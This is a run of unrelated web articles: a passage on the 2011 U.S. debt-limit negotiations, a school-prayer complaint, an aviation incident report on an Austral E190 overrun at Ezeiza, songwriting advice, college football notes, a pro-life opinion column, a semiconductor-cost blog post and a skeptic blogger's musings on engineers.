have threatened to downgrade the United States if the debt limit is not raised. So far, however, the market for Treasury bonds has shown little distress over the possibility of a U.S. default, despite numerous snags in negotiations.  In a conference call with House Republicans, Boehner ruled out the most likely alternative to a short-term extension: a process proposed by McConnell this month that would authorize Obama to raise the debt limit in installments, without explicit congressional approval.  “The goal of our discussions now with the leaders is not to do something in the Reid-McConnell framework,” Boehner said, according to one participant. “It will be something new.”  A senior GOP aide, meanwhile, accused Obama of trying to shape the debt-limit debate to suit his political needs, saying, “It would be terribly unfortunate if the president was willing to veto a debt-limit increase simply because its timing would not be ideal for his reelection campaign.”  Meanwhile, there were lingering doubts about Boehner’s ability to rally support for a debt-limit increase of any size or duration. Many House Republicans continue to push their plan to sharply cut spending over the next decade and adopt a constitutional amendment requiring Congress to balance the budget. Such a plan passed the House, but failed Friday in the Senate on a party-line vote.  Freshman Rep. Blake Farenthold (R-Tex.) said Republican leaders remain concerned that even a small increase in the debt limit would fail on the House floor.  “I think their concern about bringing it to the floor is whether they can get 218 [votes] or not,” Farenthold said in an interview. “Everybody wants to only go through this pain once.”  On the conference call, Boehner assured his colleagues that, despite a week of secret talks with Obama, “there was never a deal” to cut spending and raise taxes by $800 billion over the next decade, as Boehner himself suggested in a news conference Friday night. “Any new revenue would have come from tax reform and economic growth,” Boehner said, according to participants — “not a tax hike.”  The terms of the emerging deal changed, however, when Obama “demanded 50 percent more revenue,” Boehner said. “That looked like a tax hike. We said no.”  Rank-and-file Republicans praised Boehner for “standing firm” and “doing the right thing,” participants said. “The American people are on your side,” said Rep. Ann Marie Buerkle (R-N.Y.).  Administration officials acknowledge that they requested more revenue last Wednesday in response to Boehner’s request for more cuts to federal health programs. But they said the request for an extra $400 billion was never a demand or an ultimatum. It was a negotiating position, to which they expected Boehner to respond.  In a meeting Thursday morning, a Democrat familiar with the talks said Boehner’s top policy aides sat for nearly two hours with White House officials without indicating that the extra taxes were a deal breaker. Then, the Democrat said, the speaker’s office simply stopped calling.  While Boehner and Obama sparred over the extra $400 billion in taxes, some Republicans were focused on the $800 billion that Boehner was ready to give up. One GOP Senate aide called it “a huge concession.” Another said it would open the door to a rewrite of the tax code that would guarantee significant tax hikes for households at all income levels.  The senior Republican on the tax-writing Senate Finance Committee, Sen. Orrin Hatch (R-Utah), has been warning for months against such a move, which has also been championed by Obama’s fiscal commission and a bipartisan group of senators known as the Gang of Six.  “I am open to looking at eliminating or reducing some tax expenditures as part of comprehensive tax reform, but only if tax rates are lowered enough” to ensure that the government does not collect more tax revenue, Hatch said in a recent speech on the Senate floor. If tax reform raises any more money — much less an extra $800 billion — Hatch said, “that is a tax increase, plain and simple.”  Staff writers Paul Kane, David Fahrenthold, Rosalind S. Helderman, Felicia Sonmez and Zachary A. Goldfarb contributed to this report.  For more news on the debt ceiling debate, visit Post Business.
-An Illinois school district has said sorry to the Freedom From Religion Foundation for a coach's participation in prayer gatherings at school matches.  On Dec. 26, after a game between Vandalia Community High School and Pana High School, Coach Brian Buscher took part in a prayer circle with students of both teams. Buscher reportedly regularly joined in prayers with student athletes.  It is illegal for public school coaches to lead, organize or participate in prayers with their students, FFRF reminded Vandalia Community Unit School District #203.  "Prayers may not be a scheduled part of any school-sponsored activity," FFRF Legal Fellow Ryan Jayne wrote to Vandalia Superintendent Rich Well. "Public school coaches must refrain not only from leading prayers themselves, but also from participating in students' prayers. It is unconstitutional for public school employees to participate in the religious activities of their students."  The Vandalia School District quickly expressed regret after receiving FFRF's communiqué and promised to end the errant behavior.  "Please accept our apology," Well emailed back a few days after receiving FFRF's letter. "Our Varsity Boys Basketball Coach Brian Buscher has been notified that NO COACHES are allowed to participate."  FFRF appreciates the contrition.  "The coach should have known that he can't be a part of his students' prayer circle," says FFRF Co-President Annie Laurie Gaylor. "However, we appreciate the district's action to uphold the First Amendment in the future."  The Freedom From Religion Foundation is a national organization dedicated to the separation of state and church, with more than 26,000 members and chapters all over the country, including 800-plus and a Chicago chapter in the state of Illinois.
-The Aviation Herald Last Update: Tuesday, Feb 26th 2019 21:10Z  23843 Articles available  Events from Jun 19th 1999 to Feb 25th 2019 www.avherald.com Incidents and News in Aviation List by: Filter: Incident: Austral E190 at Buenos Aires on Nov 15th 2013, overran runway on landing  By Simon Hradecky, created Friday, Nov 15th 2013 14:13Z, last updated Thursday, Nov 28th 2013 16:57Z An Austral Embraer ERJ-190 on behalf of Aerolineas Argentinas, registration LV-CKZ performing flight AU-2255/AR-2255 from Rio de Janeiro,RJ (Brazil) to Buenos Aires,BA (Argentina) with 96 passengers and 5 crew, landed on Ezeiza Airport's runway 11 at 05:45L (08:45Z) but overran the end of the runway and came to a stop just after the nose of the aircraft had gone through the localizer antenna about 220 meters/730 feet past the runway end. No injuries occurred, the localizer antenna received substantial damage, the aircraft received minor damage.  The airport reported at the time of the incident a cold front passed over the aerodrome.  The airline reported the aircraft went off the runway due to a sudden change in wind direction and speed. No injuries occurred, the passengers disembarked and were taken to the terminal.  On Nov 28th 2013 Argentina's JIAAC rated the occurrence an accident reporting a loss of control of the aircraft and impact with obstacles, however stated the aircraft received minor damage and there were no injuries (which does not warrant an accident rating according to ICAO classification). An investigation into the occurrence has been opened.  Metars:  SAEZ 151000Z 17016KT 140V200 9999 FEW012 OVC060 16/13 Q1005  SAEZ 150932Z 21019G30KT 9999 FEW010 OVC045 17/16 Q1004  SAEZ 150916Z 20017KT 6000 -RA FEW010 BKN035 OVC060 17/16 Q1004  SAEZ 150900Z 19014KT 160V240 3000 RA FEW010 SCT020 OVC050 16/16 Q1004  SAEZ 150846Z 25020G34KT 3000 RA SCT004 BKN010 OVC060 19/18 Q1005  SAEZ 150800Z 11002KT 9000 -RA SCT010 BKN070 19/18 Q1002  SAEZ 150745Z 08005KT 060V120 7000 -RA BKN015 OVC070 18/18 Q1002 RETS  SAEZ 150700Z 20006KT 4000 -TSRA BKN005 FEW045CB OVC060 18/18 Q1003  SAEZ 150600Z 17005KT 160V220 4000 -TSRA BKN007 FEW045CB OVC060 20/19 Q1003  SAEZ 150542Z 34005KT 290V360 3000 TSRA BKN008 BKN013 FEW040CB 20/19 Q1004  SAEZ 150515Z 24010KT 190V250 9000 -TSRA BKN011 FEW045CB BKN060 20/18 Q1004  SAEZ 150500Z 20008KT 9999 VCTS BKN044 FEW045CB OVC100 20/18 Q1002  SAEZ 150425Z 23010KT 200V270 9999 VCTS FEW009 SCT018 FEW040CB BKN060 20/18 Q1002 RETSRA  SAEZ 150400Z 24016G35KT 210V270 8000 TSRA FEW018 FEW040CB BKN070 25/19 Q1002  LV-CKZ stuck in the localizer antenna (Photo: Juan Martín Cornejo):  By Simon Hradecky, created Wednesday, Dec 2nd 2015 19:14Z, last updated Wednesday, Dec 2nd 2015 19:14Z  During the landing phase the aircraft overran the end of the runway and impacted the ILS antenna due to a significant change in the weather conditions in a very short period of time during the most critical phase of the landing. The crew remained unaware of the weather change due to ATC not updating the weather information.  The following factors contributed to the runway excursion:  - a tail wind component of 27 knots above the limits set by the aircraft manufacturer (15 knots on dry runway), rain, reduced visibility and a runway contaminated with water  - ATC did not update the crew on the significant and sudden change of weather, the crew thus remained unaware of the weather conditions  - Ezeiza Airport's Tower did not have an alerting system available to warn of sudden wind changes and changing runway conditions  - the approach destabilized in the transition from disconnecting autopilot to continuing visually  - monitoring and callouts by the pilot monitoring were not in compliance with standard operating procedures  - the crew did not consider a missed approach in a situation of non-stabilized approach during a visual approach with autopilot disconnected  - a long landing combined with the tail wind and the wet runway meant, that it was not possible to stop the aircraft within the runway distance remaining  - the aircraft was not correctly configured for a landing on a contaminated runway, the actual configuration did not match the standard operating procedures for the runway condition present at touch down  The JIAAC reported the first officer (53, ATPL, 5,200 hours total, 606 hours on type) was pilot flying, the captain (39, ATPL, 7,150 hours total, 1,690 hours on type) was pilot monitoring.  The aircraft had deviated around weather in the area near Montevideo, which was also planned as an alternate. The weather information for Ezeiza read visibility 9km, calm winds and rain, upon receiving this weather information the crew decided to continue to Ezeiza. The aircraft joined the instrument approach #2, VOR DME ILS DME approach to runway 11. Establish on final approach, about 4nm from touch down, the crew received landing clearance, wind was reported by tower at 4 knots from 240 degrees.  In the two following minutes, until touch down, the weather changed significantly however, according to special weather report one minutes after the runway excursion the winds had increased to 20 knots gusting 34 knots from 250 degrees, the rain increased in intensity and consequent reduction of visibility. Tower however did not transmit the changing weather conditions to the crew.  The aircraft touched down on runway but was unable to stop before the end of the runway, overran the end of the runway and impacted the localizer antenna about 250 meters past the end of the runway. The aircraft was evacuated through the rear doors at both sides, there were no injuries.  The aircraft sustained substantial damage to the radome and lower part of the fuselage, three pitot tubes and two temperature sensors mainly through impact with the localizer antenna, the nose gear received damage to the doors. The localizer antenna received substantial damage, too.  The JIAAC analysed that there was no technical malfunction prior to the accident.  METARs as well as ATC weather information indicated near calm winds, light rain, visibility of 9000 meters with a cloud ceiling at 7000 feet. Based on that information the crew acted according to their training in planning their approach and landing, there was no hint suggesting that special measures would become necessary.  4nm before touchdown the crew received landing clearance with wind information of 4 knots from 240 degrees. However, in the following two minutes until touchdown the weather changed to an "extreme magnitude" with winds at 20 knots gusting 34 knots from 250 degrees, resulting in a 27 knots tailwind component. Even if the runway had been dry this would have exceeded the tail wind limit of 15 knots. In addition the visibility reduced significantly. There is no evidence that the crew recognized the worsened weather conditions in their night visual approach.  The JIAAC continued analysis stating that the standard operating procedures of the airline required a maximum performance landing configuration for landing on contaminated runways recommending full flaps. The crew however had correctly configured the aircraft to flaps 5 according to the weather information they had received earlier, which now no longer was correct due to the changed weather conditions.  The flight crew's use of automation was according to standard operating procedures based on the reported weather conditions. The approach was stable until the autopilot was disconnected, during the visual transition the flight path was corrected to above the glide path. With the pilot flying focussing on acquiring visual references the deviation above glide path is consistent with increasing tailwind, the parameters of flight control increasingly deteriorated. The JIAAC wrote: "The variations in the parameters of flight control suggest a degree of difficulty in controlling the aircraft consistent with the unexpected operating conditions."  During the transition to visual flight there is further evidence of deteriorating monitoring of the flight progress. The JIAAC wrote: "This is not outrageous considering the sudden increase in workload for the crew, without time to adjust, to manage substantially different conditions than planned. The sudden increase in workload is to be considered a contributing factor to the deterioration of the flight path."  The JIAAC further analysed that the handling of the aircraft by the first officer in manual flight, with autothrottle connected, resulted in frequent pitch changes of up to 5 degrees causing a large response by the autothrust system, substantial speed variations and further aggravated pitch change requirements, overall leading to destabilization of the approach.  The JIAAC analysed that both flight data and cockpit voice recorder made clear that the approach was not stabilized. However, neither pilot called for a missed approach. A realistic assessment of the decision to continue the approach rather than go around can not be made in the abstract and requires the wider consideration of global operating environment including weather in the missed approach path, status of aircraft (fuel) and fundementally the crew's assessment, based on their own experience, of the safety of the approach.  The aircraft crossed the runway threshold at a height of 150 feet AGL and a speed of 147 KIAS resulting in a landing distance needed in excess of the landing distance available resulting in the aircraft coming to a stop 256 meters past the runway threshold.  Visualisation of the approach on crossing the runway threshold (Graphics: JIAAC):  Argentina's JIAAC released their final report in Spanish concluding the probable causes of the accident were:The JIAAC reported the first officer (53, ATPL, 5,200 hours total, 606 hours on type) was pilot flying, the captain (39, ATPL, 7,150 hours total, 1,690 hours on type) was pilot monitoring.The aircraft had deviated around weather in the area near Montevideo, which was also planned as an alternate. The weather information for Ezeiza read visibility 9km, calm winds and rain, upon receiving this weather information the crew decided to continue to Ezeiza. The aircraft joined the instrument approach #2, VOR DME ILS DME approach to runway 11. Establish on final approach, about 4nm from touch down, the crew received landing clearance, wind was reported by tower at 4 knots from 240 degrees.In the two following minutes, until touch down, the weather changed significantly however, according to special weather report one minutes after the runway excursion the winds had increased to 20 knots gusting 34 knots from 250 degrees, the rain increased in intensity and consequent reduction of visibility. Tower however did not transmit the changing weather conditions to the crew.The aircraft touched down on runway but was unable to stop before the end of the runway, overran the end of the runway and impacted the localizer antenna about 250 meters past the end of the runway. The aircraft was evacuated through the rear doors at both sides, there were no injuries.The aircraft sustained substantial damage to the radome and lower part of the fuselage, three pitot tubes and two temperature sensors mainly through impact with the localizer antenna, the nose gear received damage to the doors. The localizer antenna received substantial damage, too.The JIAAC analysed that there was no technical malfunction prior to the accident.METARs as well as ATC weather information indicated near calm winds, light rain, visibility of 9000 meters with a cloud ceiling at 7000 feet. Based on that information the crew acted according to their training in planning their approach and landing, there was no hint suggesting that special measures would become necessary.4nm before touchdown the crew received landing clearance with wind information of 4 knots from 240 degrees. However, in the following two minutes until touchdown the weather changed to an "extreme magnitude" with winds at 20 knots gusting 34 knots from 250 degrees, resulting in a 27 knots tailwind component. Even if the runway had been dry this would have exceeded the tail wind limit of 15 knots. In addition the visibility reduced significantly. There is no evidence that the crew recognized the worsened weather conditions in their night visual approach.The JIAAC continued analysis stating that the standard operating procedures of the airline required a maximum performance landing configuration for landing on contaminated runways recommending full flaps. The crew however had correctly configured the aircraft to flaps 5 according to the weather information they had received earlier, which now no longer was correct due to the changed weather conditions.The flight crew's use of automation was according to standard operating procedures based on the reported weather conditions. The approach was stable until the autopilot was disconnected, during the visual transition the flight path was corrected to above the glide path. With the pilot flying focussing on acquiring visual references the deviation above glide path is consistent with increasing tailwind, the parameters of flight control increasingly deteriorated. The JIAAC wrote: "The variations in the parameters of flight control suggest a degree of difficulty in controlling the aircraft consistent with the unexpected operating conditions."During the transition to visual flight there is further evidence of deteriorating monitoring of the flight progress. The JIAAC wrote: "This is not outrageous considering the sudden increase in workload for the crew, without time to adjust, to manage substantially different conditions than planned. The sudden increase in workload is to be considered a contributing factor to the deterioration of the flight path."The JIAAC further analysed that the handling of the aircraft by the first officer in manual flight, with autothrottle connected, resulted in frequent pitch changes of up to 5 degrees causing a large response by the autothrust system, substantial speed variations and further aggravated pitch change requirements, overall leading to destabilization of the approach.The JIAAC analysed that both flight data and cockpit voice recorder made clear that the approach was not stabilized. However, neither pilot called for a missed approach. A realistic assessment of the decision to continue the approach rather than go around can not be made in the abstract and requires the wider consideration of global operating environment including weather in the missed approach path, status of aircraft (fuel) and fundementally the crew's assessment, based on their own experience, of the safety of the approach.The aircraft crossed the runway threshold at a height of 150 feet AGL and a speed of 147 KIAS resulting in a landing distance needed in excess of the landing distance available resulting in the aircraft coming to a stop 256 meters past the runway threshold.Visualisation of the approach on crossing the runway threshold (Graphics: JIAAC):  By ike on Thursday, Dec 3rd 2015 22:18Z  By WhiskeyCobra on Thursday, Dec 3rd 2015 21:08Z  By Av8tor on Thursday, Dec 3rd 2015 07:22Z  By WhiskeyCobra on Thursday, Dec 3rd 2015 07:03Z  By Av8tor on Wednesday, Dec 2nd 2015 21:01Z  By Mario on Wednesday, Dec 2nd 2015 20:01Z  By WhiskeyCobra on Friday, Mar 7th 2014 04:47Z  By (anonymous) on Friday, Feb 28th 2014 02:46Z  By WhiskeyCobra on Wednesday, Feb 5th 2014 15:56Z  By WhiskeyCobra on Wednesday, Feb 5th 2014 15:50Z  By (anonymous) on Thursday, Dec 19th 2013 01:46Z  By WhiskeyCobra on Tuesday, Dec 10th 2013 04:17Z  By WhiskeyCobra on Tuesday, Dec 10th 2013 04:11Z  By WhiskeyCobra on Tuesday, Dec 10th 2013 03:58Z  By (anonymous) on Monday, Dec 9th 2013 14:27Z  By WhiskeyCobra on Monday, Dec 2nd 2013 22:05Z  By (anonymous) on Sunday, Dec 1st 2013 03:24Z  By WhiskeyCobra on Wednesday, Nov 27th 2013 20:01Z  By WhiskeyCobra on Wednesday, Nov 27th 2013 19:59Z  By Todd on Monday, Nov 25th 2013 13:17Z  By (anonymous) on Friday, Nov 22nd 2013 12:42Z  By (anonymous) on Wednesday, Nov 20th 2013 16:40Z  By WhiskeyCobra on Tuesday, Nov 19th 2013 15:59Z  By Todd on Tuesday, Nov 19th 2013 15:33Z  By Todd on Tuesday, Nov 19th 2013 15:31Z  By Enrique on Monday, Nov 18th 2013 22:15Z  By WhiskeyCobra on Monday, Nov 18th 2013 02:10Z  By (anonymous) on Sunday, Nov 17th 2013 17:29Z  By (anonymous) on Sunday, Nov 17th 2013 06:07Z  By (anonymous) on Saturday, Nov 16th 2013 23:09Z  Add your comment: (max 1024 characters) Your Name: Your Email: Subject: Your comment: The Aviation Herald Apps  Android and iOS  Support The Aviation Herald  one time  Monthly support 1 €/month  Interview: The human factor named "Simon Hradecky" and the team of man and machine Get the news right onto your desktop when they happen © 2008-2019 by The Aviation Herald, all rights reserved, reprint and republishing prohibited. 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-There’s no “formula” to write a great chorus or hook, but these techniques can spark ideas to write, rework, or critique your own songs.  How do you write a great chorus? You know, something that will really stick in your ear and never get old?  Of course, there’s that certain spark, that creative ingenuity that can hit us every now and then like a bolt of lightning. But what do you do when that creative spark just isn’t there? When you can’t seem to get your thoughts together into a solid hook?  To get your ideas flowing, it can help to take a step back and look at the tried and true music theory techniques that we see at work time after time in just about any new hit that graces the Billboard Hot 100.  These are by no means a “formula” to write a great chorus or hook, but there are techniques you can draw from to spark ideas, rework a chorus you feel might be falling a little flat, or to critique your own hooks.  Use motifs  A motif is just about as basic as you can get in the vast world of music theory, but the power cannot be overstated. Motifs are short musical ideas used to build phrases, melodies, riffs, grooves, and just about anything else foundational to a song. You can create melodic motifs, rhythmic motifs, and even harmonic motifs and string them together and manipulate them in many ways to create a strong, cohesive sound that stays fresh and interesting.  Motifs can be incredibly simple (and a lot of times it’s the simple ones that really stick in our heads). One of my all-time favorite motifs is the guitar part for “I Want You Back” by the Jackson 5. It uses only one pitch and the same rhythm for the entire song, but it is one of the strongest guitar parts I’ve ever heard in a pop or dance tune. It creates an incredibly strong rhythmic foundation for just about everything else in the song.  Next time you’re working on a chorus, try to simplify it down and think about the motifs you’re using. Then, try modifying or making small changes to those motifs in a later chorus. This helps create a lot of interest and keeps the song from feeling monotonous while still maintaining that strong hook.  If you’re looking for another example of this, check out “Get Lucky.” Listen for small manipulations in the incredibly simple hook and notice how it keeps the song interesting. We take a deeper look at the music theory at play in “Get Lucky” and nine other hit songs in the Inside the Hits eBook. Download it for free.  Incorporate sequences  Another really useful music theory concept that will help you write a great chorus is the concept of a sequence. Sequences are ways to take a particular motif or set of chords and transpose them up or down in a certain pattern.  Our ears naturally identify patterns in music (even if we don’t have any musical training), so this use of patterns creates a lot of expectation and anticipation as the listener’s ears predict what’s coming next. You can use sequences to create a strong expectation as you lead up to the hook, or you can build it up and thwart that expectation by breaking the pattern to add tension.  There are two main types of sequences: harmonic and motivic. Harmonic sequences are made up of a set of chords that follow a particular interval pattern. Motivic sequences are made up of a motif that is transposed and repeated using a specific interval pattern.  Two great examples of both of these concepts are Pachelbel’s “Canon in D” and Shakira’s “Hips Don’t Lie.”  “Canon in D” uses a harmonic sequence that follows an interval pattern: down by a 4th, up by a 2nd (D to A, B- to E-, etc.).  “Hips Don’t Lie” uses the same harmonic sequence but in a minor key. In both pieces of music, the motivic sequence follows the harmonic sequence. So every time the harmonic sequence repeats, so does the motif. You can hear this in the violin part in Pachelbel’s “Canon” and in the trumpet part in “Hips Don’t Lie.”  Take a listen for yourself and notice how your ear starts to predict where the music is going.  Take advantage of form and repetition  Once you have built a strong set of motifs and perhaps used harmonic or motivic sequences, the ways you use form and repetition can play a huge role as you write a great chorus.  First, if you want the chorus to stick, you need to make it the focus of your song: many pop songs get to the chorus in 60 seconds or less. It also helps a lot to write the hook (and sometimes the verses) over the same chords and groove as the chorus.  Second, use a song form that repeats the chorus a lot. Repetition (with small variations) is what will get that hook stuck in people’s heads. If you have too many sections other than the chorus, the power you want to the chorus to have may start to disappear.  A common structure for pop song form is:  Intro/Hook  Verse  Pre-chorus  Chorus  Hook  Verse  Pre-chorus  Chorus  Bridge  Chorus  Chorus  Outro/Hook  Analyze the hits  It goes without saying that if you want to write hooks and choruses like the greats, you should study their work. Make a habit to try to really dissect the choruses from your favorite songs to understand what’s going on. What are the motifs at work? Do they use sequences? How much repetition is used? How are repetitions manipulated and varied to keep the listener interested?  Dave Kusek is the founder of New Artist Model. Over the years he’s worked with tens of thousands of musicians around the world across every genre imaginable and in many different markets, and now, along with Daniel Roberts, he’s developed a new approach to reinvent the way music theory is taught. Hit Music Theory is the best and most practical way to learn music theory. Taught in context of modern hits, you learn how top songwriters are applying theory and how you can use it in your own music.  Related Posts  Challenge yourself when music practice gets stale  How to improve your live sound with music theory  Songwriting and a quick lesson in music theory  Avoiding common songwriting obstacles  The road to becoming a successful songwriter
-STORIES OF THE DAY  SPRING PRACTICE BEGINS | It is a rite of spring. Spring football. It is a good thing and after what seems like every other college beginning, Texas Tech gets their start with their new head coach. It feels good to type that. Texas Tech head coach Kliff Kingsbury differs from Tuberville in that Tuberville wanted to start early so that if there were any injuries the player would have more time to recover. Kingsbury wanted to give the players more time with the new strength and conditioning head coach. I'm fine with either philosophy.  Now, Kingsbury gets his chance to start his program. It's his show. This is what he has been working for for his coaching career. It finally begins.  AN AGGRESSIVE DEFENSE | The focus today from the LAJ is on Co-DC and LB coach Mike Smith (I have to figure out a way to abbreviate this) and his passion for the game. I do think that this is going to be a common theme with Smith, Matt Wallerstedt, John Scott, Jr., Kevin Curtis and Trey Haverty. They are all passionate and excitable.  Now, you can expect something totally different:  "Our main thing is we’re going to get after people," said Smith, the former Coronado and Tech linebacker. "Eighty percent of college football’s the same. It’s an over (defensive line) front and they’re playing quarters (coverage) every snap. The old bend, don’t break stuff. Sit back and defend the offense.  "I don’t believe in that. Wally doesn’t believe in that, and where I come from, with Rex (Ryan) and those guys, you’ve got to get after people. I don’t care if you’re Peyton Manning, Tom Brady or the quarterback at Brownfield, they don’t like people in their face. They don’t like you coming after them. They don’t like you disguising."  The only caution is that almost every new defensive coordinator says that they are going to be aggressive and put a lot of pressure on the quarterback, but I think the difference is that Smith and Wallerstedt are going to try things differently. We're going to get into these defensive schemes during the offseason to explain what he means, but this is significant. Make sure and read the whole thing.  ROSTER RELEASED | The other big story from last night is that the spring roster was released and last year's prize recruit, DT Michael Starts, is not on the roster and his situation is not resolved as of right now. I don't really have a lot to add about some of the other things like position changes.  NOTEBOOK  WALK-ON TIGHT END | Welcome to Seminole TE Hunter Weishuhn, who passed up a scholarship to Angelo St. to be a preferred walk-on at Texas Tech (24/7 Sports and Hudl). This is actually really good news as Weishuhn has very good size for being a true freshman at 6-7/235, he's already a pretty big player. He's also a pretty accomplished basketball player and his voice is already significantly deeper than mine. Here's Hunter:  "I was talking to a couple colleges about playing football," Weishuhn said. "I went to Texas Tech on my first visit and liked it a lot, then I went back on my second visit and I got to talk with all of the players and the coaches. I loved it. I was able to relate with all of them. All of the coaches are real young, it was just a fun atmosphere. They’re getting some good things going, and I decided this is what I’ve always wanted to do."  BELL AND MARQUEZ READY | The LAJ reports that both WR's Bradley Marquez and Javon Bell will return and are ready to go.  "They’ve been coming along," Kingsbury said. "I think both should be ready for spring ball, which is should be great, because that’s a lot of speed. They’re two talented players. We’re excited about those two guys getting back in the mix."  Kingsbury also mentions that there are only ten scholarship linemen available due to the injuries to Alfredo Morales and Matt Wilson. Hello opportunity.  QUARTERBACK COMPETITION | The LAJ also has a bit on the quarterback competition and all of the quarterbacks will get equal reps:  "I think it’ll be good," Kingsbury said of the competition. "I think until you get them out there in our system and see how they react to the way we actually do things, you never know who’s going to rise up and take the lead and take it over. We’ll have a competition with equal reps and see how it shakes out."
-A pro-life advocate says pro-abortion Democrat candidate Hillary Clinton is disingenuous for claiming she is pro woman when she supports abortion. The pro-life supporter notes that abortions have killed almost 30 million girls and that Hillary Clinton can hardly call herself a champion for women while supporting that.  Dr. John A. Sparks, the retired dean of arts and letters at Grove City College in Pennsylvania, authored a column taking Clinton’s pro-woman claims to task:  Sparks says Clinton’s support for abortion should disqualify her from becoming president.  “In the name of all that is decent, it is time to end this outrage. What is absolutely clear is that millions of girls have been deprived of their womanhood by the very ones who claim to be their “champion.” What a cruel irony,” he concludes.
-The Scariest Graph I've Seen Recently  Everyone knows Moore's Law: the number of transistors on a chip doubles every couple of years. We can take the process roadmap for Intel, TSMC or GF and pretty much see what the densities we will get will be when 20/22nm, 14nm and 10nm arrive. Yes the numbers are on track.But I have always pointed out that this is not what drives the semiconductor industry. It is much better to look at Moore's Law the other way around, namely that the cost of any given functionality implemented in semiconductors halves every couple of years. It is this which has meant that you can buy (or even your kid can buy) a 3D graphics console that contains graphics way beyond what would have cost you millions of dollars 20 years ago in a state of the art flight simulator.But look at this graph:This shows the cost for a given piece of functionality (namely a million gates) in the current process generation and looking out to 20nm and 14nm. It is flat (actually perhaps getting worse). This might not matter too much for Intel's server business since those have such high margins that they can probably live with a price that doesn't come down as much as it has done historically. And they can make real money by putting more and more onto a chip. But it is terrible for businesses like mobile computing that don't live on the bleeding edge of the maximum number of transistors on a chip. If you are not filling up your 28nm die and a 20nm die costs just the same (and is much harder to design) why bother? Just design a bigger 28nm die (there may be some power savings but even that is dubious since leakage is typically an increasing challenge).If this graph remains the case, then Moore's Law carries on in the technical sense that you can put twice as many transistors on your chip if you can think of something clever to do with them and can find a way to keep enough of them powered on. But it means there is no longer an economic driver to move to a new process unless you have run out of space on the old one.Since EDA mostly makes money on designs in new processes (because they need new tools which can be sold at a premium) this is bad for EDA. It actually doesn't make money on the first few designs coming through a new process because there is so much corresponding engineering to be done. But if the mainstream never moves, the cash-cow aspect of selling EDA tools to the mainstream won't happen. And just like there is no business selling "microprocessor design tools" since there are too few groups who would buy them and their needs are too different, there might never be a big enough market for "14nm design tools" to justify the investment.So that's why this is the scariest graph in EDA.
-No, it’s not the love of explosives . It’s the observation that we have an inordinate number of engineers in our groups. A recent article posted to the geek news website slashdot discussed some reasons for why engineers may be so attracted to terrorism. The whole time I was reading the article and comments I couldn’t help but think of our more benign, and in my opinion, beneficial group of like minded individuals: skeptics. This issue is of relevance to me in particular because I happen to be a skeptic and an engineer.  At local Ottawa Skeptics events, we’ve been averaging around 20 people. Of those 20, I’d say that at least half are an engineer of some type. This may be an anomaly due to the fact that Ottawa has a fairly active high tech industry, but from meeting people at skeptical events in other cities, such as TAM, I think it’s safe to say that we have a lot of skeptic engineers. On the other hand, the creationists also tend to have a lot of outspoken engineers in their group too (check out the Salem hypothesis). Why so many engineers in skepticism, creationism, and even terrorism?  Before I attempt to answer, you may fairly ask if there is even anything to be explained. I’m well aware of Ray Hyman’s “categorical imperative”, the idea that a phenomenon should be confirmed to exist before attempting an explanation. I don’t have data to offer, just an anecdote. When my wife asked me what I was going to write about this week I gave her the title of the article. She quickly shot back: “engineers”. The look on her face when I told her she was right was priceless. That was all the confirmation I needed to spend my time writing this article.  So, what do they all have in common? I don’t have the answer, but I like some of the hypotheses generated in the slashdot comments. One commenter suggested a reason for terrorists being engineers comes down to the observation that engineers view the world in black and white:  Engineers are ALWAYS right. ALWAYS. Even when (especially when?) something is clearly opinion based. Ask a non-eng what their favorite color is, you get a simple answer. Ask an eng the same, you get an answer PLUS reasons why it is superior to other colors.  You won’t find many postmodernist engineers. For many engineers, their solution to a given problem is the correct one, and everyone else’s solution is “stupid”. You also will find this trait amongst skeptics. We will often be very opinionated, and be able to debate our opinion to the bitter end.  Another commenter replied with his view of liberal arts students:  All of them have real trouble in fields like math and science because in those fields there are correct and incorrect answers, and incorrect answers cannot be met by “that’s just, like, your opinion, man”. Of course, xkcd shows it far better than I ever could. Worth mentioning is that the smarter liberal arts types aren’t like this at all. For instance, smart English majors can point out the structures of literature that make it all tick, or exactly how a sentence can be better phrased. Smart history majors can provide all the major sources for a historical event, explain what biases each source had and how that affected their description of the event, piece together what probably actually happened, and are probably some of the best BS detectors out there.  The latter group I recognize from the liberal arts graduates that are in the skeptical community. One common issue that we’re constantly trying to get across to people is that in scientific debates, such as vaccine safety or creationism, there are some opinions that are just plain wrong. People with engineering backgrounds seem to grasp this concept very easily.  LordKazan writes of engineering:  … it doesn’t challenge their religious dogma like the other departments with their more rounded gen ed requirements do. Let alone the departments in Arts and Sciences like Geology, Biology, Paleontology, etc that the findings of openly challenge their dogma.  This might help explain why you find terrorist engineers and creationist engineers. It provides a technical background without the basic science to challenge religious beliefs. This doesn’t explain skeptics, but it doesn’t have to. There’s of course many possible explanations, some more influential than others, but no single explanation.  Timothy Brownawall says it’s all about “rules”:  Engineering is about carefully following an existing set of rules, like building codes and the laws of physics. It can require cleverness, but only in how to best achieve your goals while staying within the rules (“solve this problem, within these constraints”). Maybe there’s a mindset where it just doesn’t really matter where the rules come from, and religious rules are just as good as physical or legal rules? This would be in contrast to science, where the goal is to find the rules and poke at them until you understand them (“find out what the constraints are, and why”).  Maybe engineers are attracted to religious terrorism, creationism (which is religion based) and skepticism because both religion and skepticism offer “rules”. Mainstream religions offer rigid rules codified in the Bible/Koran, while skepticism offers the rigid rules of logic and evidence. Perhaps this may be a possible explanation for why some of the more well known skeptics are, such as Michael Shermer, former religious believers.  One aspect to an engineer’s view of life that I’ve noticed is the belief that every problem has a solution. For a skeptic, this may mean that every strange phenomenon has a rational explanation waiting to be found. For a creationist that may mean that the appearance of design implies a designer. I’ve also noticed this mindset in the world of alternative medicine. I know a few engineers that have fallen for the empty claims of alternative medicine, and I suspect that it’s due to this idea of every problem having a solution. Scientific medicine has not cured all disease, and humans still must face death, which is a problem. Since a solution must exist for every problem, and mainstream medicine doesn’t provide it, then quack medicine must, or so their subconscious thinking may go. I don’t really know, but I suspect this may be influencing some people I know.  As for the mystery laid out in the provocative title, I doubt that I have provided an adequate explanation, but as an engineer, I can’t help but suspect that there is a solution to this problem.
